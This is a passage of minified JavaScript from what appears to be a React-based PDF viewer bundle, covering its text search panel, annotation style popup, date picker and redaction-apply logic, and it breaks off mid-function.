Cj={width:Is.a.number,height:Is.a.number,activeResultIndex:Is.a.number,searchStatus:Is.a.oneOf(["SEARCH_NOT_INITIATED","SEARCH_IN_PROGRESS","SEARCH_DONE"]),searchResults:Is.a.arrayOf(Is.a.object),t:Is.a.func.isRequired,onClickResult:Is.a.func,pageLabels:Is.a.arrayOf(Is.a.any)};function xj(e){var t=e.height,n=e.searchStatus,r=e.searchResults,o=e.activeResultIndex,i=e.t,a=e.onClickResult,l=e.pageLabels,u=e.isProcessingSearchResults,c=s.a.useMemo((function(){return new hj.CellMeasurerCache({defaultHeight:50,fixedWidth:!0})}),[]),f=s.a.useRef(null);0===r.length&&c.clearAll();var d=s.a.useCallback((function(e){var t=e.index,n=e.key,u=e.parent,f=e.style,d=r[t];return s.a.createElement(mj.a,{cache:c,columnIndex:0,key:n,parent:u,rowIndex:t},(function(e){var n=e.registerChild;return s.a.createElement("div",{role:"row",ref:n,style:f},s.a.createElement(wj,{currentResultIndex:t,searchResults:r,pageLabels:l,t:i}),s.a.createElement(Sj,{result:d,currentResultIndex:t,activeResultIndex:o,onSearchResultClick:a}))}))}),[c,r,o,i,l]);return s.a.useEffect((function(){var e;f&&(null===(e=f.current)||void 0===e||e.scrollToRow(o))}),[o]),null==t?null:"SEARCH_DONE"!==n||0!==r.length||u?s.a.createElement(pj.a,{width:200,height:t,tabIndex:-1,overscanRowCount:10,rowCount:r.length,deferredMeasurementCache:c,rowHeight:c.rowHeight,rowRenderer:d,ref:f}):s.a.createElement("div",{className:"info"},i("message.noResults"))}function Oj(e){var t=e.measureRef,n=e.contentRect,r=yj(e,gj),o=n.bounds.height;return s.a.createElement("div",{className:"results",ref:t},s.a.createElement(xj,vj({height:o},r)))}xj.propTypes=Cj,Oj.propTypes={contentRect:Is.a.object,measureRef:Is.a.oneOfType([Is.a.func,Is.a.shape({current:Is.a.any})])};var Aj=_d("bounds")(Oj),_j=n(317),Tj=n.n(_j),kj=(n(1060),function(e){var t=e.height,n=void 0===t?"50px":t,r=e.width,o={height:n,width:void 0===r?"54px":r};return s.a.createElement("div",{className:"spinner",style:o})}),Pj=(n(1061),{isPanelOpen:Is.a.bool,isSearchOverlayDisabled:Is.a.bool,searchValue:Is.a.string,searchStatus:Is.a.oneOf(["SEARCH_NOT_INITIATED","SEARCH_IN_PROGRESS","SEARCH_DONE"]),isCaseSensitive:Is.a.bool,isWholeWord:Is.a.bool,isWildcard:Is.a.bool,searchResults:Is.a.arrayOf(Is.a.object),activeResultIndex:Is.a.number,setSearchValue:Is.a.func.isRequired,setCaseSensitive:Is.a.func.isRequired,setSearchStatus:Is.a.func.isRequired,setWholeWord:Is.a.func.isRequired,setWildcard:Is.a.func.isRequired,executeSearch:Is.a.func.isRequired,selectNextResult:Is.a.func,selectPreviousResult:Is.a.func,isProcessingSearchResults:Is.a.bool});function Mj(e){var t=Ks().t,n=e.isSearchOverlayDisabled,r=e.searchResults,o=e.activeResultIndex,i=e.selectNextResult,a=e.selectPreviousResult,l=e.isProcessingSearchResults,u=e.searchValue,c=e.setSearchValue,f=e.executeSearch,d=e.isCaseSensitive,p=e.setCaseSensitive,h=e.isWholeWord,m=e.setWholeWord,g=e.isWildcard,v=e.setWildcard,y=e.setSearchStatus,b=e.searchStatus,w=e.isPanelOpen,E=s.a.useRef();s.a.useEffect((function(){E.current&&w&&E.current.focus()}),[w]),s.a.useEffect((function(){u&&u.length>0?f(u,{caseSensitive:d,wholeWord:h,wildcard:g}):C()}),[d,h,g]);var S=s.a.useCallback(Tj()((function(e){e&&e.length>0?f(e,{caseSensitive:d,wholeWord:h,wildcard:g}):C()}),300),[]);function C(){vt.clearSearchResults(),c(""),y("SEARCH_NOT_INITIATED")}var x=s.a.useCallback((function(e){var t=e.target.checked;p(t)}),[]),O=s.a.useCallback((function(e){var t=e.target.checked;m(t)}),[]),A=s.a.useCallback((function(e){var t=e.target.checked;v(t)}),[]),_=s.a.useCallback((function(){i&&i(r,o)}),[i,r,o]),T=s.a.useCallback((function(){a&&a(r,o)}),[a,r,o]);if(n)return null;var k=r?r.length:0,P="SEARCH_DONE"!==b||l?s.a.createElement(kj,null):s.a.createElement("div",null,k," ",t("message.numResultsFound"));return s.a.createElement("div",{className:"SearchOverlay"},s.a.createElement("div",{className:"input-container"},s.a.createElement("input",{ref:E,type:"text",autoComplete:"off",onChange:function(e){c(e.target.value),S(e.target.value)},value:u,placeholder:t("message.searchDocumentPlaceholder"),"aria-label":t("message.searchDocumentPlaceholder"),id:"SearchPanel__input",tabIndex:w?0:-1}),void 0!==u&&u.length>0&&s.a.createElement("button",{className:"clearSearch-button",onClick:C,"aria-label":t("message.searchDocumentPlaceholder")},s.a.createElement(cf,{glyph:"icon-header-clear-search"}))),s.a.createElement("div",{className:"options"},s.a.createElement(ry,{dataElement:"caseSensitiveSearchOption",id:"case-sensitive-option",checked:d,onChange:x,label:t("option.searchPanel.caseSensitive"),tabIndex:w?0:-1}),s.a.createElement(ry,{dataElement:"wholeWordSearchOption",id:"whole-word-option",checked:h,onChange:O,label:t("option.searchPanel.wholeWordOnly"),tabIndex:w?0:-1}),s.a.createElement(ry,{dataElement:"wildCardSearchOption",id:"wild-card-option",checked:g,onChange:A,label:t("option.searchPanel.wildcard"),tabIndex:w?0:-1})),s.a.createElement("div",{className:"divider"}),s.a.createElement("div",{className:"footer"},"SEARCH_NOT_INITIATED"===b?null:P,k>0&&s.a.createElement("div",{className:"buttons"},s.a.createElement("button",{className:"button",onClick:T,"aria-label":t("action.prevResult")},s.a.createElement(cf,{className:"arrow",glyph:"icon-chevron-left"})),s.a.createElement("button",{className:"button",onClick:_,"aria-label":t("action.nextResult")},s.a.createElement(cf,{className:"arrow",glyph:"icon-chevron-right"})))))}Mj.propTypes=Pj;var Rj=Mj;function jj(e){return function(e){if(Array.isArray(e))return Lj(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return Lj(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Lj(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Lj(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Ij,Nj=[];function Dj(){return jj(Nj)}function Fj(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Bj(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Hj=!1;function Vj(e){return function(t,n){e&&(e(Ps.openElement("searchPanel")),e(Ps.searchTextFull(t,n)));var r,o=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=vt.getSearchMode(),n=t.PAGE_STOP|t.HIGHLIGHT;return e.caseSensitive&&(n|=t.CASE_SENSITIVE),e.wholeWord&&(n|=t.WHOLE_WORD),e.wildcard&&(n|=t.WILD_CARD),e.regex&&(n|=t.REGEX),n|=t.AMBIENT_STRING}(n),i=function(){},a=!1,l=[];var s={fullSearch:!0,onResult:function(t){l.push(t),r||(Hj||(Hj=!0,e&&e(Ps.setProcessingSearchResults(!0))),r=setTimeout((function(){vt.displayAdditionalSearchResults(l),l=[],r=null,i()}),100)),a||(vt.setActiveSearchResult(t),a=!0)},onDocumentEnd:function(){},onError:function(t){e(Ps.setProcessingSearchResults(!1)),console.error(t)}};vt.clearSearchResults(),vt.textSearchInit(t,o,s),vt.addEventListener("searchInProgress",(function o(a){!1===a&&(i=function(){e&&e(Ps.setProcessingSearchResults(!1));var r=vt.getPageSearchResults(),o=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Fj(Object(n),!0).forEach((function(t){Bj(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Fj(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({caseSensitive:!1,wholeWord:!1,wildcard:!1,regex:!1,searchUp:!1,ambientString:!0},n);(Dj()||[]).forEach((function(e){try{e(t,o,r)}catch(e){console.error(e)}}))},Hj=!1,r||i(),vt.removeEventListener("searchInProgress",o))}))}}function zj(){return(zj=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function Uj(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Gj(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Wj(e,t,n){var r=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Uj(Object(n),!0).forEach((function(t){Gj(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Uj(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({regex:!1},t);if(null!=e){if(Ij)Ij(e,r);else Vj(n)(e,r)}}function qj(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.length>1?arguments[1]:void 0;if(e.length>0){var n=t===e.length-1?0:t+1;vt.setActiveSearchResult(e[n])}}function Zj(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.length>1?arguments[1]:void 0;if(e.length>0){var n=t<=0?e.length-1:t-1;vt.setActiveSearchResult(e[n])}}var Yj=function(e){var t=re();return s.a.createElement(Rj,zj({executeSearch:function(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};Wj(e,n,t)},selectNextResult:qj,selectPreviousResult:Zj},e))};var $j=Q((function(e){return{isSearchOverlayDisabled:fi.isElementDisabled(e,"searchOverlay"),searchValue:fi.getSearchValue(e),isCaseSensitive:fi.isCaseSensitive(e),isWholeWord:fi.isWholeWord(e),isWildcard:fi.isWildcard(e),isProcessingSearchResults:fi.isProcessingSearchResults(e)}}),{closeElements:Ps.closeElements,setSearchValue:Ps.setSearchValue,setCaseSensitive:Ps.setCaseSensitive,setWholeWord:Ps.setWholeWord,setWildcard:Ps.setWildcard})((function(e){return s.a.createElement(Yj,e)})),Kj=function(e,t){return[e,t.isOpen?"open":"closed"].join(" ").trim()};n(1062);function Xj(e){return null!=e.x1&&null!=e.x2&&null!=e.x3&&null!=e.x4&&null!=e.y1&&null!=e.y2&&null!=e.y3&&null!=e.y4?e:e.getPoints?e.getPoints():void 0}var Qj=function(e,t){if(!e||!t)return!1;if(!(e.pageNum===t.pageNum))return!1;var n=e.quads[0],r=t.quads[0];if(!n||!r)return!1;var o=Xj(n),i=Xj(r);return o&&i?o.x1===i.x1&&o.x2===i.x2&&o.x3===i.x3&&o.x4===i.x4&&o.y1===i.y1&&o.y2===i.y2&&o.y3===i.y3&&o.y4===i.y4:Object.values(n).toString()===Object.values(r).toString()};function Jj(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return eL(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return eL(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function eL(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var tL=function(){var e=Jj(s.a.useState([]),2),t=e[0],n=e[1],r=Jj(s.a.useState(),2),o=r[0],i=r[1],a=Jj(s.a.useState(-1),2),l=a[0],u=a[1],c=Jj(s.a.useState("SEARCH_NOT_INITIATED"),2),f=c[0],d=c[1];return s.a.useEffect((function(){var e=vt.getPageSearchResults()||[];if(e.length>0){var t=vt.getActiveSearchResult();if(t){var r=e.findIndex((function(e){return Qj(e,t)}));n(e),r>=0&&(i(e[r]),u(r))}else n(e),i(e[0]),u(0)}}),[]),s.a.useEffect((function(){function e(e){var t=(vt.getPageSearchResults()||[]).findIndex((function(t){return Qj(t,e)}));i(e),u(t)}function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];n(e),e&&0===e.length&&(i(void 0),u(-1))}function r(e){d(null==e?"SEARCH_NOT_INITIATED":e?"SEARCH_IN_PROGRESS":"SEARCH_DONE")}return vt.addEventListener("activeSearchResultChanged",e),vt.addEventListener("searchResultsChanged",t),vt.addEventListener("searchInProgress",r),function(){vt.removeEventListener("activeSearchResultChanged",e),vt.removeEventListener("searchResultsChanged",t),vt.removeEventListener("searchInProgress",r)}}),[i,u,d]),{searchStatus:f,searchResults:t,activeSearchResult:o,activeSearchResultIndex:l,setSearchStatus:d}},nL={isOpen:Is.a.bool,isMobile:Is.a.bool,pageLabels:Is.a.array,currentWidth:Is.a.number,closeSearchPanel:Is.a.func,setActiveResult:Is.a.func,isInDesktopOnlyMode:Is.a.bool,isProcessingSearchResults:Is.a.bool};function rL(){}function oL(e){var t=e.isOpen,n=e.currentWidth,r=e.pageLabels,o=e.closeSearchPanel,i=void 0===o?rL:o,a=e.setActiveResult,l=void 0===a?rL:a,u=e.isMobile,c=void 0!==u&&u,f=e.isInDesktopOnlyMode,d=e.isProcessingSearchResults,p=Ks().t,h=tL(),m=h.searchStatus,g=h.searchResults,v=h.activeSearchResultIndex,y=h.setSearchStatus,b=s.a.useCallback((function(){i&&i()}),[i]),w=s.a.useCallback((function(e,t){l(t),!f&&c&&i()}),[i,c]),E=Kj("Panel SearchPanel",{isOpen:t}),S=!f&&c?{}:{width:"".concat(n,"px"),minWidth:"".concat(n,"px")};return s.a.createElement(Uf,{className:E,dataElement:"searchPanel",style:S},!f&&c&&s.a.createElement("div",{className:"close-container"},s.a.createElement("button",{className:"close-icon-container",onClick:b},s.a.createElement(cf,{glyph:"ic_close_black_24px",className:"close-icon"}))),s.a.createElement($j,{searchStatus:m,setSearchStatus:y,searchResults:g,activeResultIndex:v,isPanelOpen:t}),s.a.createElement(Aj,{t:p,searchStatus:m,searchResults:g,activeResultIndex:v,onClickResult:w,pageLabels:r,isProcessingSearchResults:d}))}oL.propTypes=nL;var iL=oL;function aL(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function lL(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?aL(Object(n),!0).forEach((function(t){sL(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):aL(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function sL(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function uL(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return cL(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return cL(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function cL(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var fL=function(e){var t=Rf(["(max-width: 640px)"],[!0],!1),n=uL(le((function(e){return[fi.isElementOpen(e,"searchPanel"),fi.getSearchPanelWidth(e),fi.getPageLabels(e),fi.shouldClearSearchPanelOnClose(e),fi.isInDesktopOnlyMode(e),fi.isProcessingSearchResults(e)]}),N),6),r=n[0],o=n[1],i=n[2],a=n[3],l=n[4],u=n[5],c=re(),f=s.a.useCallback((function(){c(Ps.closeElements(["searchPanel"]))}),[c]),d=s.a.useCallback((function(){c(Ps.setSearchValue(""))}),[c]),p=s.a.useCallback((function(e){vt.setActiveSearchResult(e)}),[]);s.a.useEffect((function(){!l&&t||!r&&a&&(vt.clearSearchResults(),d())}),[t,r,a,l]);var h=lL(lL({},e),{},{isOpen:r,currentWidth:o,pageLabels:i,closeSearchPanel:f,setActiveResult:p,isMobile:t,isInDesktopOnlyMode:l,isProcessingSearchResults:u});return s.a.createElement(iL,h)};n(1063);function dL(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return pL(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return pL(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function pL(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var hL=function(e){var t=e.children,n=e.dataElement,r=e.onResize,o=dL(le((function(e){return[fi.getCurrentToolbarGroup(e),fi.isElementOpen(e,"header"),fi.isElementOpen(e,"toolsHeader"),fi.isElementOpen(e,n),fi.isElementDisabled(e,n),fi.isInDesktopOnlyMode(e)]}),N),6),i=o[0],a=o[1],l=o[2],u=o[3],c=o[4],f=o[5],d=Rf(["(max-width: 900px)"],[!0],!1),p=u&&!c;return s.a.createElement("div",{className:js()({"right-panel":!0,closed:!p,"tools-header-open":l&&"toolbarGroup-View"!==i,"tools-header-and-header-hidden":!a&&!l})},(f||!d)&&s.a.createElement(nj,{dataElement:"".concat(n,"ResizeBar"),minWidth:293,onResize:r,leftDirection:!0}),t)},mL=!0;function gL(){mL=!0}function vL(){mL=!1}function yL(){return mL}n(1064);function bL(e){return(bL="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function wL(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function EL(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function SL(e,t){return(SL=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function CL(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=AL(e);if(t){var o=AL(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return xL(this,n)}}function xL(e,t){if(t&&("object"===bL(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return OL(e)}function OL(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function AL(e){return(AL=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function _L(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var TL=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&SL(e,t)}(i,e);var t,n,r,o=CL(i);function i(){var e;wL(this,i);for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];return _L(OL(e=o.call.apply(o,[this].concat(n))),"handleSliderChange",(function(t,n){var r=e.props.annotation,o=vt.getAnnotationManager();r[t]=n,o.redrawAnnotation(r)})),_L(OL(e),"handlePropertyChange",(function(t,n){var r=e.props.annotation;vt.setAnnotationStyles(r,_L({},t,n))})),_L(OL(e),"handleStyleChange",(function(t,n){var r=e.props.annotation;vt.setAnnotationStyles(r,_L({},t,n)),yL()&&gb(r.ToolName,t,n)})),_L(OL(e),"handleRichTextStyleChange",(function(t,n){var r=e.props.annotation;vt.updateAnnotationRichTextStyle(r,_L({},t,n))})),_L(OL(e),"handleLineStyleChange",(function(t,n){var r=e.props.annotation,o="";"start"===t?(r.setStartStyle(n),o="StartLineStyle"):"end"===t&&(r.setEndStyle(n),o="EndLineStyle"),yL()&&gb(r.ToolName,o,n),vt.getAnnotationManager().redrawAnnotation(r)})),_L(OL(e),"handleClick",(function(t){Ot()&&t.target===t.currentTarget&&e.props.closeElement("annotationPopup")})),_L(OL(e),"handleResize",(function(){var t=e.props.onResize;t&&t()})),e}return t=i,(n=[{key:"render",value:function(){var e=this,t=this.props,n=t.isDisabled,r=t.annotation,o=t.style,i=r instanceof window.Annotations.FreeTextAnnotation&&r.getIntent()===window.Annotations.FreeTextAnnotation.Intent.FreeText,a=!!r.Measure,l={},u=Kj("Popup AnnotationStylePopup",this.props),c=ac(r),f=r instanceof window.Annotations.RedactionAnnotation,d=sc(ic(r.ToolName)).hasLineEndings;if(n)return null;if(d&&(l={StartLineStyle:r.getStartStyle(),EndLineStyle:r.getEndStyle()}),i){var p,h,m,g,v,y,b=r.getRichTextStyle();l={Font:r.Font,FontSize:r.FontSize,TextAlign:r.TextAlign,TextVerticalAlign:r.TextVerticalAlign,bold:null!==(p="bold"===(null==b?void 0:b[0]["font-weight"]))&&void 0!==p&&p,italic:null!==(h="italic"===(null==b?void 0:b[0]["font-style"]))&&void 0!==h&&h,underline:(null==b||null===(m=b[0]["text-decoration"])||void 0===m?void 0:m.includes("underline"))||(null==b||null===(g=b[0]["text-decoration"])||void 0===g?void 0:g.includes("word")),strikeout:null!==(v=null==b||null===(y=b[0]["text-decoration"])||void 0===y?void 0:y.includes("line-through"))&&void 0!==v&&v}}return f&&(l={OverlayText:r.OverlayText,Font:r.Font,FontSize:r.FontSize,TextAlign:r.TextAlign}),s.a.createElement(kd,{onResize:this.handleResize},(function(t){var n=t.measureRef;return s.a.createElement("div",{className:u,"data-element":"annotationStylePopup",onClick:e.handleClick,ref:n},s.a.createElement(ub,{hideSnapModeCheckbox:r instanceof window.Annotations.EllipseAnnotation||!vt.isFullPDFEnabled(),colorMapKey:c,style:o,isFreeText:i,isMeasure:a,onStyleChange:e.handleStyleChange,onSliderChange:e.handleSliderChange,onPropertyChange:e.handlePropertyChange,disableSeparator:!0,properties:l,onRichTextStyleChange:e.handleRichTextStyleChange,isRedaction:f,showLineStyleOptions:d,onLineStyleChange:e.handleLineStyleChange}))}))}}])&&EL(t.prototype,n),r&&EL(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.Component);_L(TL,"propTypes",{isDisabled:Is.a.bool,annotation:Is.a.object.isRequired,style:Is.a.object.isRequired,closeElement:Is.a.func.isRequired});var kL=Q((function(e){return{isDisabled:fi.isElementDisabled(e,"annotationStylePopup")}}),{closeElement:Ps.closeElement})(TL);function PL(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}var ML=function(e){var t=e.onClick,n=e.annotation,r=e.onDatePickerShow,o=Object(l.useRef)(null),i=Object(l.useRef)(null);return Object(l.useEffect)((function(){var e;return function(){var a=function(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){PL(i,r,o,a,l,"next",e)}function l(e){PL(i,r,o,a,l,"throw",e)}a(void 0)}))}}(regeneratorRuntime.mark((function a(){return regeneratorRuntime.wrap((function(a){for(;;)switch(a.prev=a.next){case 0:return a.next=2,window.Core.createDatePicker({field:o.current,onClick:t,container:i.current,format:n.getDateFormat()});case 2:e=a.sent,r(!0);case 4:case"end":return a.stop()}}),a)})));return function(){return a.apply(this,arguments)}}()(),function(){e.destroy(),e=null,r(!1)}}),[]),s.a.createElement("div",{"data-element":"datePickerContainer"},s.a.createElement("div",{ref:o}),s.a.createElement("div",{ref:i}))};ML.propTypes={onClick:Is.a.func.isRequired,annotation:Is.a.object.isRequired,onDatePickerShow:Is.a.func.isRequired};var RL=ML;function jL(){return(jL=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function LL(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function IL(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?LL(Object(n),!0).forEach((function(t){NL(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):LL(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function NL(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var DL={dataElement:Is.a.string.isRequired,children:Is.a.arrayOf(Is.a.any).isRequired},FL=function(e){var t=e.dataElement,n=e.children,r=le((function(e){return fi.getPopupItems(e,t)}),N),o=s.a.Children.toArray(n);return r.map((function(e,t){var n=e.dataElement,r=e.type,i=e.hidden,a="".concat(r,"-").concat(n||t),l=null==i?void 0:i.map((function(e){return"hide-in-".concat(e)})).join(" "),u=o.find((function(e){return e.props.dataElement===n}));if(!u){var c=IL(IL({},e),{},{mediaQueryClassName:l});"toolButton"===r&&(u=s.a.createElement(kf,c)),"toolGroupButton"===r&&(u=s.a.createElement(nd,c)),"toggleElementButton"===r&&(u=s.a.createElement(Df,c)),"actionButton"===r&&(u=s.a.createElement(rd,c)),"statefulButton"===r&&(u=s.a.createElement(hd,c)),"customElement"===r&&(u=s.a.createElement(wd,c)),"spacer"!==r&&"divider"!==r||(u=s.a.createElement("div",jL({className:"".concat(r," ").concat(l)},c)))}return u?s.a.cloneElement(u,{key:a}):null}))};FL.propTypes=DL;var BL=FL;function HL(){}var VL=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:HL;return function(n){return vt.isWebViewerServerDocument()?zL(e,n):UL(e,t,n)}},zL=function(e,t){return vt.applyRedactions(e).then((function(e){if(e&&e.url)return Wh(t,{filename:"redacted.pdf",includeAnnotations:!0,externalURL:e.url});console.warn("WebViewer Server did not return a valid result")}))},UL=function(e,t,n){var r={message:st.t("warning.redaction.applyMessage"),title:st.t("warning.redaction.applyTile"),confirmBtnText:st.t("action.apply"),onConfirm:function(){return vt.applyRedactions(e).then((function(){t()})).catch((function(e){return Ut(e)})),Promise.resolve()}};return n(Ps.showWarningMessage(r))};n(1065);function GL(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function WL(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?GL(Object(n),!0).forEach((function(t){qL(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):GL(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function qL(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function ZL(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void 